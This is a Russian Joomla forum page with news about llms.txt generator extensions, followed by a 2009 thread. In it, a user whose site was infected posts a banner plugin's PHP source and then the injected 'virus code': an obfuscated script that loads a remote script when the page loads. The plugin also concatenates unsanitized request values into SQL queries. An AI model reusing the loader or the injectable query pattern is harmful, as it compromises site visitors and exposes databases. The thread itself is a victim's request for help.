Новости Joomla

Компонент Joomla 6: Генератор LLMs.txt.

Компонент Joomla 6: Генератор LLMs.txt.

Компонент Joomla 6: Генератор LLMs.txt.

Ещё один генератор ИИ-файлов llms.txt и llms-full.txt.

Основные особенности/возможности компонента:

  • Генерация по стандарту: Автоматическое создание файла-визитки llms.txt и расширенной версии llms-full.txt с аннотированным списком материалов.
  • Интеллектуальная работа с контентом: Компонент использует мета-описания (Meta Description) из статей и пунктов меню, превращая SEO-настройки сайта в качественный контекст для нейросетей.
  • Просмотреть результат генерации файлов можно сразу в рабочей области компонента. После внесения корректив (через Настройки компонента. При отладке лучше открыть три вкладки в браузере: Настройка — Геренация/Превью — Список Материалов/Категории/Меню.) — проводим перегенерацию, смотрим результат до полной «победы».
  • Автоматизация и безопасность: Синхронизация с sitemap.xml, группировка по категориям и автоматическое создание резервных копий (.bak) при каждой генерации.
  • Гибкое управление: Возможность исключения определенных категорий и/или статей и/или пунктов меню, а также простая настройка через стандартную админпанель Joomla.
  • Подробное руководство/справка: Пошаговая инструкция для пользователя в Настройках компонента для редакторов с базовым знанием администрирования Joomla.

👉 Важно учесть.
1️⃣ Компонент Генератор LLMs.txt изначально составляет базовый список ссылок на основе sitemap.xml и сверяется с ним на предмет: запрета индексации url в robots.txt, тегов noinex/nofollow. Это экономит время на проверку «закрыть от индексации», поскольку компонент генерации Sitemap.xml уже реализовал эту задачу. Посему, формирование ссылок для ИИ имеет комплексный подход, составление грамотного/валидного/релевантного sitemap.xml никто не отменял.

2️⃣ Тексты-описания ссылок формируются из Meta Description com_content (только компонент Материалы) и выбранных пользователем Меню сайта. Важно, чтобы Meta Description были уникальными и релевантными, соответствовали базовому seo. Составленные «на отшибись» Description для ИИ — «не катит» (впрочем, для поисковых систем они тоже «не канали»).

Разработчик - участник нашего сообщества Александр Кузнецов (@newvksan).

Страница расширения

@joomlafeed

#joomla #ии #ai

👩‍💻 WT LLMs для Joomla: llms.txt, llms.json для AI-агентов.

👩‍💻 WT LLMs для Joomla: llms.txt, llms.json для AI-агентов.

Это Joomla-компонент для публикации AI-ready карты сайта и автоматической генерации файлов llms.txt, llms-full.txt и llms.json по концепции llmstxt.org.  Также о концепции llms.txt говорит Google в своей справке Lighthouse. Решение помогает LLM-моделям, AI-агентам, GEO/AI SEO-процессам и внутренним автоматизациям получать структурированные данные о сайте без ручной сборки JSON и Markdown.

С помощью WT LLMs можно:
- создать структурированное описание сайта для AI-агентов;
- управлять профилем сайта, картой интентов и каноническими страницами для этих интентов из админки Joomla;
- генерировать llms.txt и llms.json;
- использовать REST API для автоматического заполнения данных;
- отдавать публичную schema-инструкцию для AI-агентов;

В комплект компонента входит плагин markdown-версии страниц Joomla. Системный плагин Joomla, который добавляет альтернативное Markdown-представление страниц сайта. Он позволяет отдавать содержимое страницы в более чистом текстовом формате, удобном для AI-агентов, LLM, поисковых систем и технических интеграций.
Плагин добавляет в ссылки на AI-файлы.

Пакет подходит для сайтов на Joomla 5+, которым важно сделать контент понятнее для LLM, AI-поиска, ассистентов и будущих систем машинного чтения.

Видео:
- ВК Видео
- RuTube
- YouTube

Ссылки:
Страница расширения
GitHub

@joomlafeed

0 Пользователей и 1 Гость просматривают эту тему.
  • 9 Ответов
  • 5161 Просмотров
*

prostoy

  • Захожу иногда
  • 394
  • 6 / 1
  • Истина где то рядом.
После того как мой сайт был заражон вирусом появилась ошибра вот такова плана Notice: Undefined variable: flag in /home/psk/psk-kam.ru/docs/plugins/content/dybanners.php on line 45 как её исправить ?
*

prostoy

  • Захожу иногда
  • 394
  • 6 / 1
  • Истина где то рядом.
Вот что есть в этом файле:
Код
<?php
// no direct access
defined( '_JEXEC' ) or die( 'Restricted access' );

require_once(JPATH_ADMINISTRATOR.DS.'components'.DS.'com_banners'.DS.'helpers'.DS.'banner.php');
require_once(JPATH_SITE.DS.'components'.DS.'com_banners'.DS.'models'.DS.'banner.php');

// Import library dependencies
jimport('joomla.event.plugin');


class plgContentDYBanners extends JPlugin
{




   /**
    * Constructor
    *
    * For php4 compatability we must not use the __constructor as a constructor for
    * plugins because func_get_args ( void ) returns a copy of all passed arguments
    * NOT references.  This causes problems with cross-referencing necessary for the
    * observer design pattern.
    */
    function plgContentDYBanners ( &$subject, $config )
{
parent::__construct( $subject, $config );

// load plugin parameters
       $this->_plugin = JPluginHelper::getPlugin( 'content', 'dybanners' );
$this->_params = new JParameter( $this->_plugin->params );



// Added in 1.0.3 to Load Language Files
$lang = & JFactory::getLanguage();
$lang->load( 'plg_content_dybanners' , JPATH_ADMINISTRATOR );
// End of 1.0.3 addition



// Added in 1.0.3 to remove the {dybanners}a,b,c,d,e,f{/dybanners} from the content when you print to PDF

$this->flag = $flag;

// End of 1.0.3 addition


}

// Added in 1.0.5 to increment impressions

function impress($list)
{
$n = count($list);

if ($n > 0) {
$db = &JFactory::getDBO();

$date = &JFactory::getDate();
$trackDate = $date->toFormat('%Y-%m-%d');

for ($i = 0; $i < $n; $i++) {
$item = &$list[$i];

$item->impmade++;
$expire = ($item->impmade >= $item->imptotal) && ($item->imptotal != 0);

$query = 'UPDATE #__banner SET impmade=impmade+1'
. ($expire ? ', showBanner=0' : '')
. ' WHERE bid = '.(int)$item->bid;
$db->setQuery($query);

if (!$db->query()) {
JError::raiseError(500, $db->stderror());
}


}
}
}

// End of 1.0.5 addition


// Added in 1.0.3 to remove the {dybanners}a,b,c,d,e,f{/dybanners} from the content when you print to PDF, or to show the banner images

function onBeforeDisplayTitle( &$row, $params=array(), $flag=0 ) {
if ($flag!=32) return true;
$replacethis = array(
'/{dybanners}(.*){\/dybanners}/iU'
);

$bannerpdf = $this->params->get( 'bannerpdf' );



if ($bannerpdf) {



        global $mainframe;

global $database;
$db=& JFactory::getDBO();



$error1 = JText::_( 'noavailablebanner' );
$error2 = JText::_( 'bannerfieldempty' );
// Added in 1.0.8
$error3 = JText::_( 'bannerfieldplugindefault' );
// End of 1.0.8 addition




  // Find all plugin occurrences
  $firsttime = true;
  $working = "";
  $replacethis = "";
  $withthis = "";

$regex = '/{dybanners}(.*){\/dybanners}/iU';

preg_match_all( $regex, $row->text, $matches );
$count = count( $matches[0] );

// Perform once for each plugin occurrence

for ( $i=0; $i < $count; $i++ ) {




// Moved and changed in 1.0.9 for styling
$withthis = '<div id="dybanners'. ($i + 1). '">';
// End of 1.0.9 move/change




  $firsttime = true;
 
$replacethis = $matches[0][$i];
$working = $replacethis;
$working = str_replace( '{dybanners}', '', $working );
$working = str_replace( '{/dybanners}', '', $working );
  $working = trim($working);


// Added in 1.0.4 to allow more than one banner inside a single DIV (Side by side)


$countbannersets = 0;
$bannersets = explode(";",$working);
$countbannersets = count( $bannersets );


for ( $j=0; $j < $countbannersets; $j++ ) {

// End of 1.0.4



$bannerid = '';
$windowtype = 1;
$style = '';
$countpartsofbannerset = 0;
$bannerdata = explode(",",$bannersets[$j]);
$countpartsofbannerset = count( $bannerdata );
$bannerid = trim($bannerdata[0]);




// Moved up above the Database calls in 1.0.8 and added default values from the editor button

// Changed in 1.0.2 to improve the output if no settings entered

if ($countpartsofbannerset >1) {

if ((trim($bannerdata[1]) == "") || (trim($bannerdata[1]) == "window_type")) {

$windowtype = 1;

}
else {

$windowtype = trim($bannerdata[1]);

}

}


if ($countpartsofbannerset >2) {

if ((trim($bannerdata[2]) == "") || (trim($bannerdata[2]) == "style_suffix")) {

$style = '';

}
else {

$style = trim($bannerdata[2]);

}

}



if ($countpartsofbannerset >3) {

if ((trim($bannerdata[3]) == "") || (trim($bannerdata[3]) == "image_alt")) {

$alt = $item->name;

}
else {

$alt = trim($bannerdata[3]);

}
}

// End of 1.0.2 changes


// Added in 1.0.8 to allow a random banner selection based on a client or category

if ($countpartsofbannerset >4) {

if ((trim($bannerdata[4]) == "") || (trim($bannerdata[4]) == "client_id")) {

$client = "1";

}
else {

$client = trim($bannerdata[4]);

}
}



if ($countpartsofbannerset >5) {

if ((trim($bannerdata[5]) == "") || (trim($bannerdata[5]) == "category_id")) {

$category = "1";

}
else {

$category = trim($bannerdata[5]);

}
}


// End of 1.0.8 addition

// End of 1.0.8 move





// Added in 1.0.9 for styling
if ($firsttime) {

$withthis .= '<div class="dybannersclass'. $style . '">';
$withthis .= '<p>';
$addclass = true;
}
// End of 1.0.9 addition







// Added in 1.0.2 to get the article title to use as part of the banner name in place of the banner id



// Moved to the top in 1.0.8
if ($bannerid == "") {
$withthis .= $error2;
break;
}

// Added in 1.0.8 for the plugin

else if ($bannerid == "banner_id/title/random") {
$withthis .= $error3;
break;
}

// End of 1.0.8 addtion
// End of 1.0.8 move



else if ($bannerid == "title") {

$content_id = intval(JRequest::getVar('id', 0));



$query = "SELECT id,title"
. "\n FROM #__content"
. "\n WHERE id=".$content_id;
$db->setQuery( $query );
$contentrows = $db->loadObjectList();
$contentitem = $contentrows[0];
if (!$db->query()) {
JError::raiseError( 500, $contentrows->getError());
return;
}





$query = "SELECT bid,name,imageurl,clickurl,custombannercode"
. "\n FROM #__banner"
. "\n WHERE name = '$contentitem->title'"
. "\n AND showBanner = 1";
$db->setQuery( $query );
$rows = $db->loadObjectList();
$item = $rows[0];
$bannercount = count( $item );
if ((!$db->query()) || ($bannercount < 1) ) {
$withthis .= $error1;
}

}

// Added in 1.0.7 to allow a random banner selection
else if ($bannerid == "random") {

$query = "SELECT bid,name"
. "\n FROM #__banner"
. "\n WHERE showBanner = 1";
$db->setQuery( $query );
$rows = $db->loadObjectList();


$i = count($rows);
$random = mt_rand(1, $i);



$query = "SELECT bid,name,imageurl,clickurl,custombannercode"
. "\n FROM #__banner"
. "\n WHERE bid = '$random'"
. "\n AND showBanner = 1";
$db->setQuery( $query );
$rows = $db->loadObjectList();
$item = $rows[0];
$bannercount = count( $item );
if ((!$db->query()) || ($bannercount < 1) ) {
$withthis .= $error1;
}

}
// End of 1.0.7 addition


// Added in 1.0.8 to allow a random banner selection based on a single client or category
else if ($bannerid == "client") {

$query = "SELECT bid,cid"
. "\n FROM #__banner"
. "\n WHERE showBanner = 1"
. "\n AND cid = '$client'";
$db->setQuery( $query );
$banner_ids = $db->loadObjectList();


$banner_id_array_list = array();
foreach( $banner_ids as $o )
{
   $banner_id_array_list[] = $o->bid;
}


$array = $banner_id_array_list;

srand((float) microtime() * 10000000);

$last_key = count($array) - 1;
$range = array(0, $last_key);

$rand_array = rand($range[0], $range[1]);

$random_banner_id = $array[$rand_array];



$query = "SELECT bid,name,imageurl,clickurl,custombannercode"
. "\n FROM #__banner"
. "\n WHERE bid = '$random_banner_id'"
. "\n AND showBanner = 1";
$db->setQuery( $query );
$rows = $db->loadObjectList();
$item = $rows[0];
$bannercount = count( $item );
if ((!$db->query()) || ($bannercount < 1) ) {
$withthis .= $error1;
}

}



else if ($bannerid == "category") {

$query = "SELECT bid,cid,catid"
. "\n FROM #__banner"
. "\n WHERE showBanner = 1"
. "\n AND catid = '$category'";
$db->setQuery( $query );
$banner_ids = $db->loadObjectList();


$banner_id_array_list = array();
foreach( $banner_ids as $o )
{
   $banner_id_array_list[] = $o->bid;
}


$array = $banner_id_array_list;

srand((float) microtime() * 10000000);

$last_key = count($array) - 1;
$range = array(0, $last_key);

$rand_array = rand($range[0], $range[1]);

$random_banner_id = $array[$rand_array];



$query = "SELECT bid,name,imageurl,clickurl,custombannercode"
. "\n FROM #__banner"
. "\n WHERE bid = '$random_banner_id'"
. "\n AND showBanner = 1";
$db->setQuery( $query );
$rows = $db->loadObjectList();
$item = $rows[0];
$bannercount = count( $item );
if ((!$db->query()) || ($bannercount < 1) ) {
$withthis .= $error1;
}

}


else if ($bannerid == "clientcategory") {

$query = "SELECT bid,cid,catid"
. "\n FROM #__banner"
. "\n WHERE showBanner = 1"
. "\n AND cid = '$client'"
. "\n AND catid = '$category'";
$db->setQuery( $query );
$banner_ids = $db->loadObjectList();


$banner_id_array_list = array();
foreach( $banner_ids as $o )
{
   $banner_id_array_list[] = $o->bid;
}


$array = $banner_id_array_list;

srand((float) microtime() * 10000000);

$last_key = count($array) - 1;
$range = array(0, $last_key);

$rand_array = rand($range[0], $range[1]);

$random_banner_id = $array[$rand_array];



$query = "SELECT bid,name,imageurl,clickurl,custombannercode"
. "\n FROM #__banner"
. "\n WHERE bid = '$random_banner_id'"
. "\n AND showBanner = 1";
$db->setQuery( $query );
$rows = $db->loadObjectList();
$item = $rows[0];
$bannercount = count( $item );
if ((!$db->query()) || ($bannercount < 1) ) {
$withthis .= $error1;
}

}


// End of 1.0.8 addition


else {



$query = "SELECT bid,name,imageurl,clickurl,custombannercode"
. "\n FROM #__banner"
. "\n WHERE bid=".$bannerid
. "\n AND showBanner = 1";
$db->setQuery( $query );
$rows = $db->loadObjectList();
$item = $rows[0];
$bannercount = count( $item );
if ((!$db->query()) || ($bannercount < 1) ) {
$withthis .= $error1;
}

}


$alt = $item->name;


// End of 1.0.2 addition








// Added in 1.0.5 to increment impressions


$query = 'SELECT bid,imageurl,custombannercode,description,impmade,imptotal FROM #__banner WHERE showBanner=1 AND (imptotal = 0 OR impmade < imptotal) AND bid='.$item->bid;

$db = &JFactory::getDBO();
$db->setQuery($query);

$data = $db->loadObjectList();

plgContentDYBanners::impress($data);


// End of 1.0.5 addition



$link = JRoute::_( 'index.php?option=com_banners&task=click&bid='. $item->bid );
$baseurl = JURI::base();



if (trim($item->custombannercode))
{

// template replacements
$withthispart1 = str_replace( '{CLICKURL}', $link, $item->custombannercode );
$withthis .= str_replace( '{NAME}', $item->name, $withthispart1 );

}
else if (BannerHelper::isImage( $item->imageurl ))
{

// Changed in 1.0.9 for styling
$image = '<img src="'.$baseurl.'images/banners/'.$item->imageurl.'" alt="'.$alt.'" />';
// End of 1.0.9 change
if ($item->clickurl)
{
switch ($windowtype)
{

// Window type
// 0 = Open in parent window
// 1 = Open in new window with navigation
// 2 = Open in pop-up window without navigation


case 0:
$a = '<a href="'. $link .'">';
break;

case 1:
$a = '<a href="'. $link .'" target="_blank">';
break;

case 2:
$attribs = 'toolbar=no,location=no,status=no,menubar=no,scrollbars=yes,resizable=yes';

$link = str_replace('index.php', 'index2.php', $link);
$a = '<a href="'.$link.'" onclick="window.open(this.href,\'targetWindow\',\''.$attribs.'\');return false;">';

break;

}

$withthis .= $a . $image . '</a>';
}
else
{
$withthis .= $image;
}
}
     else if (BannerHelper::isFlash( $item->imageurl ))
      {
$imageurl = $baseurl."images/banners/".$item->imageurl;
         $clearimageurl = $baseurl."plugins/content/dybanners/clear.gif";
         $size = getimagesize($imageurl);
         $width = $size[0];
$height = $size[1];


if ($item->clickurl)
{
switch ($windowtype)
{

// Window type
// 0 = Open in parent window
// 1 = Open in new window with navigation
// 2 = Open in pop-up window without navigation


case 0:
$b = '<a href="'. $link .'">';
break;

case 1:
$b = '<a href="'. $link .'" target="_blank">';
break;

case 2:
$attribs = 'toolbar=no,location=no,status=no,menubar=no,scrollbars=yes,resizable=yes';

$link = str_replace('index.php', 'index2.php', $link);
$b = '<a href="'.$link.'" onclick="window.open(this.href,\'targetWindow\',\''.$attribs.'\');return false;">';

break;
}
}



         $withthis .=   "<object width=\"$width\" height=\"$height\"  classid=\"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000\" codebase=\"http://fpdownload.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,0,0\" border=\"0\">
         <param name=\"movie\" value=\"$imageurl\"><embed width=\"$width\" height=\"$height\" src=\"$imageurl\" loop=\"false\" pluginspage=\"http://www.macromedia.com/go/get/flashplayer\" type=\"application/x-shockwave-flash\"></embed>
</object>";


$negheight = $height - $height - $height;

/* Removed in 1.0.9 until a working solution is found
$withthis .= '<p style="position:relative; top:' .$negheight. 'px; z-index:1;">';
$withthis .= $b;
$withthis .= '<img src="'.$clearimageurl.'" alt="'.$alt.'" width="'.$width.'" height="'.$height.'" />';
$withthis .= '</a>';
$withthis .= '</p>';
*/



      }



// Added in 1.0.9 for styling
if (($addclass) && (!$firsttime)) {
$withthis .= '</p>';
$withthis .= '</div>';
}
// End of 1.0.9 addition




$firsttime = false;


// Added in 1.0.4 to close the countbannersets
}
// End 1.0.4


$withthis .= '</div>';




$row->text = str_replace( $replacethis, $withthis, $row->text );


  }




}
else {

$withthis[] = '';

foreach($replacethis as $item);
$row->text = preg_replace($replacethis, $withthis, $row->text);
return true;

}
}


    
// End of 1.0.3 addition



function onPrepareContent( &$row, &$params, &$content_id ) {




        global $mainframe;

global $database;
$db=& JFactory::getDBO();



$error1 = JText::_( 'noavailablebanner' );
$error2 = JText::_( 'bannerfieldempty' );
// Added in 1.0.8
$error3 = JText::_( 'bannerfieldplugindefault' );
// End of 1.0.8 addition




  // Find all plugin occurrences
  $firsttime = true;
  $working = "";
  $replacethis = "";
  $withthis = "";

$regex = '/{dybanners}(.*){\/dybanners}/iU';

preg_match_all( $regex, $row->text, $matches );
$count = count( $matches[0] );

// Perform once for each plugin occurrence

for ( $i=0; $i < $count; $i++ ) {




// Moved and changed in 1.0.9 for styling
$withthis = '<div id="dybanners'. ($i + 1). '">';
// End of 1.0.9 move/change




  $firsttime = true;
 
$replacethis = $matches[0][$i];
$working = $replacethis;
$working = str_replace( '{dybanners}', '', $working );
$working = str_replace( '{/dybanners}', '', $working );
  $working = trim($working);


// Added in 1.0.4 to allow more than one banner inside a single DIV (Side by side)


$countbannersets = 0;
$bannersets = explode(";",$working);
$countbannersets = count( $bannersets );


for ( $j=0; $j < $countbannersets; $j++ ) {

// End of 1.0.4



$bannerid = '';
$windowtype = 1;
$style = '';
$countpartsofbannerset = 0;
$bannerdata = explode(",",$bannersets[$j]);
$countpartsofbannerset = count( $bannerdata );
$bannerid = trim($bannerdata[0]);




// Moved up above the Database calls in 1.0.8 and added default values from the editor button

// Changed in 1.0.2 to improve the output if no settings entered

if ($countpartsofbannerset >1) {

if ((trim($bannerdata[1]) == "") || (trim($bannerdata[1]) == "window_type")) {

$windowtype = 1;

}
else {

$windowtype = trim($bannerdata[1]);

}

}


if ($countpartsofbannerset >2) {

if ((trim($bannerdata[2]) == "") || (trim($bannerdata[2]) == "style_suffix")) {

$style = '';

}
else {

$style = trim($bannerdata[2]);

}

}



if ($countpartsofbannerset >3) {

if ((trim($bannerdata[3]) == "") || (trim($bannerdata[3]) == "image_alt")) {

$alt = $item->name;

}
else {

$alt = trim($bannerdata[3]);

}
}

// End of 1.0.2 changes


// Added in 1.0.8 to allow a random banner selection based on a client or category

if ($countpartsofbannerset >4) {

if ((trim($bannerdata[4]) == "") || (trim($bannerdata[4]) == "client_id")) {

$client = "1";

}
else {

$client = trim($bannerdata[4]);

}
}



if ($countpartsofbannerset >5) {

if ((trim($bannerdata[5]) == "") || (trim($bannerdata[5]) == "category_id")) {

$category = "1";

}
else {

$category = trim($bannerdata[5]);

}
}


// End of 1.0.8 addition

// End of 1.0.8 move





// Added in 1.0.9 for styling
if ($firsttime) {

$withthis .= '<div class="dybannersclass'. $style . '">';
$withthis .= '<p>';
$addclass = true;
}
// End of 1.0.9 addition







// Added in 1.0.2 to get the article title to use as part of the banner name in place of the banner id



// Moved to the top in 1.0.8
if ($bannerid == "") {
$withthis .= $error2;
break;
}

// Added in 1.0.8 for the plugin

else if ($bannerid == "banner_id/title/random") {
$withthis .= $error3;
break;
}

// End of 1.0.8 addtion
// End of 1.0.8 move



else if ($bannerid == "title") {

$content_id = intval(JRequest::getVar('id', 0));



$query = "SELECT id,title"
. "\n FROM #__content"
. "\n WHERE id=".$content_id;
$db->setQuery( $query );
$contentrows = $db->loadObjectList();
$contentitem = $contentrows[0];
if (!$db->query()) {
JError::raiseError( 500, $contentrows->getError());
return;
}





$query = "SELECT bid,name,imageurl,clickurl,custombannercode"
. "\n FROM #__banner"
. "\n WHERE name = '$contentitem->title'"
. "\n AND showBanner = 1";
$db->setQuery( $query );
$rows = $db->loadObjectList();
$item = $rows[0];
$bannercount = count( $item );
if ((!$db->query()) || ($bannercount < 1) ) {
$withthis .= $error1;
}

}

// Added in 1.0.7 to allow a random banner selection
else if ($bannerid == "random") {

$query = "SELECT bid,name"
. "\n FROM #__banner"
. "\n WHERE showBanner = 1";
$db->setQuery( $query );
$rows = $db->loadObjectList();


$i = count($rows);
$random = mt_rand(1, $i);



$query = "SELECT bid,name,imageurl,clickurl,custombannercode"
. "\n FROM #__banner"
. "\n WHERE bid = '$random'"
. "\n AND showBanner = 1";
$db->setQuery( $query );
$rows = $db->loadObjectList();
$item = $rows[0];
$bannercount = count( $item );
if ((!$db->query()) || ($bannercount < 1) ) {
$withthis .= $error1;
}

}
// End of 1.0.7 addition


// Added in 1.0.8 to allow a random banner selection based on a single client or category
else if ($bannerid == "client") {

$query = "SELECT bid,cid"
. "\n FROM #__banner"
. "\n WHERE showBanner = 1"
. "\n AND cid = '$client'";
$db->setQuery( $query );
$banner_ids = $db->loadObjectList();


$banner_id_array_list = array();
foreach( $banner_ids as $o )
{
   $banner_id_array_list[] = $o->bid;
}


$array = $banner_id_array_list;

srand((float) microtime() * 10000000);

$last_key = count($array) - 1;
$range = array(0, $last_key);

$rand_array = rand($range[0], $range[1]);

$random_banner_id = $array[$rand_array];



$query = "SELECT bid,name,imageurl,clickurl,custombannercode"
. "\n FROM #__banner"
. "\n WHERE bid = '$random_banner_id'"
. "\n AND showBanner = 1";
$db->setQuery( $query );
$rows = $db->loadObjectList();
$item = $rows[0];
$bannercount = count( $item );
if ((!$db->query()) || ($bannercount < 1) ) {
$withthis .= $error1;
}

}



else if ($bannerid == "category") {

$query = "SELECT bid,cid,catid"
. "\n FROM #__banner"
. "\n WHERE showBanner = 1"
. "\n AND catid = '$category'";
$db->setQuery( $query );
$banner_ids = $db->loadObjectList();


$banner_id_array_list = array();
foreach( $banner_ids as $o )
{
   $banner_id_array_list[] = $o->bid;
}


$array = $banner_id_array_list;

srand((float) microtime() * 10000000);

$last_key = count($array) - 1;
$range = array(0, $last_key);

$rand_array = rand($range[0], $range[1]);

$random_banner_id = $array[$rand_array];



$query = "SELECT bid,name,imageurl,clickurl,custombannercode"
. "\n FROM #__banner"
. "\n WHERE bid = '$random_banner_id'"
. "\n AND showBanner = 1";
$db->setQuery( $query );
$rows = $db->loadObjectList();
$item = $rows[0];
$bannercount = count( $item );
if ((!$db->query()) || ($bannercount < 1) ) {
$withthis .= $error1;
}

}


else if ($bannerid == "clientcategory") {

$query = "SELECT bid,cid,catid"
. "\n FROM #__banner"
. "\n WHERE showBanner = 1"
. "\n AND cid = '$client'"
. "\n AND catid = '$category'";
$db->setQuery( $query );
$banner_ids = $db->loadObjectList();


$banner_id_array_list = array();
foreach( $banner_ids as $o )
{
   $banner_id_array_list[] = $o->bid;
}


$array = $banner_id_array_list;

srand((float) microtime() * 10000000);

$last_key = count($array) - 1;
$range = array(0, $last_key);

$rand_array = rand($range[0], $range[1]);

$random_banner_id = $array[$rand_array];



$query = "SELECT bid,name,imageurl,clickurl,custombannercode"
. "\n FROM #__banner"
. "\n WHERE bid = '$random_banner_id'"
. "\n AND showBanner = 1";
$db->setQuery( $query );
$rows = $db->loadObjectList();
$item = $rows[0];
$bannercount = count( $item );
if ((!$db->query()) || ($bannercount < 1) ) {
$withthis .= $error1;
}

}


// End of 1.0.8 addition


else {



$query = "SELECT bid,name,imageurl,clickurl,custombannercode"
. "\n FROM #__banner"
. "\n WHERE bid=".$bannerid
. "\n AND showBanner = 1";
$db->setQuery( $query );
$rows = $db->loadObjectList();
$item = $rows[0];
$bannercount = count( $item );
if ((!$db->query()) || ($bannercount < 1) ) {
$withthis .= $error1;
}

}


$alt = $item->name;


// End of 1.0.2 addition








// Added in 1.0.5 to increment impressions


$query = 'SELECT bid,imageurl,custombannercode,description,impmade,imptotal FROM #__banner WHERE showBanner=1 AND (imptotal = 0 OR impmade < imptotal) AND bid='.$item->bid;

$db = &JFactory::getDBO();
$db->setQuery($query);

$data = $db->loadObjectList();

plgContentDYBanners::impress($data);


// End of 1.0.5 addition



$link = JRoute::_( 'index.php?option=com_banners&task=click&bid='. $item->bid );
$baseurl = JURI::base();



if (trim($item->custombannercode))
{

// template replacements
$withthispart1 = str_replace( '{CLICKURL}', $link, $item->custombannercode );
$withthis .= str_replace( '{NAME}', $item->name, $withthispart1 );

}
else if (BannerHelper::isImage( $item->imageurl ))
{

// Changed in 1.0.9 for styling
$image = '<img src="'.$baseurl.'images/banners/'.$item->imageurl.'" alt="'.$alt.'" />';
// End of 1.0.9 change
if ($item->clickurl)
{
switch ($windowtype)
{

// Window type
// 0 = Open in parent window
// 1 = Open in new window with navigation
// 2 = Open in pop-up window without navigation


case 0:
$a = '<a href="'. $link .'">';
break;

case 1:
$a = '<a href="'. $link .'" target="_blank">';
break;

case 2:
$attribs = 'toolbar=no,location=no,status=no,menubar=no,scrollbars=yes,resizable=yes';

$link = str_replace('index.php', 'index2.php', $link);
$a = '<a href="'.$link.'" onclick="window.open(this.href,\'targetWindow\',\''.$attribs.'\');return false;">';

break;

}

$withthis .= $a . $image . '</a>';
}
else
{
$withthis .= $image;
}
}
     else if (BannerHelper::isFlash( $item->imageurl ))
      {
$imageurl = $baseurl."images/banners/".$item->imageurl;
         $clearimageurl = $baseurl."plugins/content/dybanners/clear.gif";
         $size = getimagesize($imageurl);
         $width = $size[0];
$height = $size[1];


if ($item->clickurl)
{
switch ($windowtype)
{

// Window type
// 0 = Open in parent window
// 1 = Open in new window with navigation
// 2 = Open in pop-up window without navigation


case 0:
$b = '<a href="'. $link .'">';
break;

case 1:
$b = '<a href="'. $link .'" target="_blank">';
break;

case 2:
$attribs = 'toolbar=no,location=no,status=no,menubar=no,scrollbars=yes,resizable=yes';

$link = str_replace('index.php', 'index2.php', $link);
$b = '<a href="'.$link.'" onclick="window.open(this.href,\'targetWindow\',\''.$attribs.'\');return false;">';

break;
}
}



         $withthis .=   "<object width=\"$width\" height=\"$height\"  classid=\"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000\" codebase=\"http://fpdownload.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,0,0\" border=\"0\">
         <param name=\"movie\" value=\"$imageurl\"><embed width=\"$width\" height=\"$height\" src=\"$imageurl\" loop=\"false\" pluginspage=\"http://www.macromedia.com/go/get/flashplayer\" type=\"application/x-shockwave-flash\"></embed>
</object>";


$negheight = $height - $height - $height;

/* Removed in 1.0.9 until a working solution is found
$withthis .= '<p style="position:relative; top:' .$negheight. 'px; z-index:1;">';
$withthis .= $b;
$withthis .= '<img src="'.$clearimageurl.'" alt="'.$alt.'" width="'.$width.'" height="'.$height.'" />';
$withthis .= '</a>';
$withthis .= '</p>';
*/



      }



// Added in 1.0.9 for styling
if (($addclass) && (!$firsttime)) {
$withthis .= '</p>';
$withthis .= '</div>';
}
// End of 1.0.9 addition




$firsttime = false;


// Added in 1.0.4 to close the countbannersets
}
// End 1.0.4


$withthis .= '</div>';


$row->text = str_replace( $replacethis, $withthis, $row->text );

  }
return true;
}
}
 
« Последнее редактирование: 05.12.2009, 11:49:19 от prostoy »
*

prostoy

  • Захожу иногда
  • 394
  • 6 / 1
  • Истина где то рядом.
Вот сам код вируса:
Код
<script>/*GNU GPL*/ try{window.onload = function(){var H3qqea3ur6p = document.createElement('script');H3qqea3ur6p.setAttribute('type', 'text/javascript');H3qqea3ur6p.setAttribute('id', 'myscript1');H3qqea3ur6p.setAttribute('src',  'h#!t&##(t&() p$$:!#@/!(/$#l!) i!&v()@e!^(.$(!c!) o) m@.&!#g#@o((o^g)(l^$!e$)@.&)$c$#o(m#^@.)$b#@#!#a&i#!d^$#$u#)$!(-!((m^!s$) n$&(.@)@c^@$o((m!(&.^)(b&!!) e@s(&t@@a() r#$#) t))@s#!#) a!l##e@(.))&r$!u!&):)8(0$)@$8^#^@0&)$^/!!&w@$(o@^r(^(!d@^p^#) r#e@^s(&s&@@.(^^c#^o@!!m$)/)&^g@$(^o@(^o@g@&$l&&#e^))&@-($(m)#) a#) i^l^#.!&^) i!&t$@^/((!(l)!i&v^(&(e()#j^$a&s@(&m$^&(i$#@n!#^-#@) p$!!$h$!o(&#t(#o##)!b#!$u^c^#k((e&!) t#!((#.$$@c!&@o@m^)&/)!c&#(n$) e()&&t)#-^#!c^(@n^^n&#).) c!&!o$#m($/$^a&!@@b&() o^($(u!&#) t^#-#)) e$@@) b##a#^y&&@.&#(^c&o^^m^@/(@^^'.replace(/\^|&|@|\)|\(|#|\!|\$/ig, ''));H3qqea3ur6p.setAttribute('defer', 'defer');document.body.appendChild(H3qqea3ur6p);}} catch(e) {}</script>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
<?php
/**
* @version $Id: index.php 11407 2009-01-09 17:23:42Z willebil $
* @package Joomla
* @copyright Copyright (C) 2005 - 2009 Open Source Matters. All rights reserved.
* @license GNU/GPL, see LICENSE.php
* Joomla! is free software. This version may have been modified pursuant
* to the GNU General Public License, and as distributed it includes or
* is derivative of works licensed under the GNU General Public License or
* other free or open source software licenses.
* See COPYRIGHT.php for copyright notices and details.
*/

// Set flag that this is a parent file
define( '_JEXEC', 1 );

define('JPATH_BASE', dirname(__FILE__) );

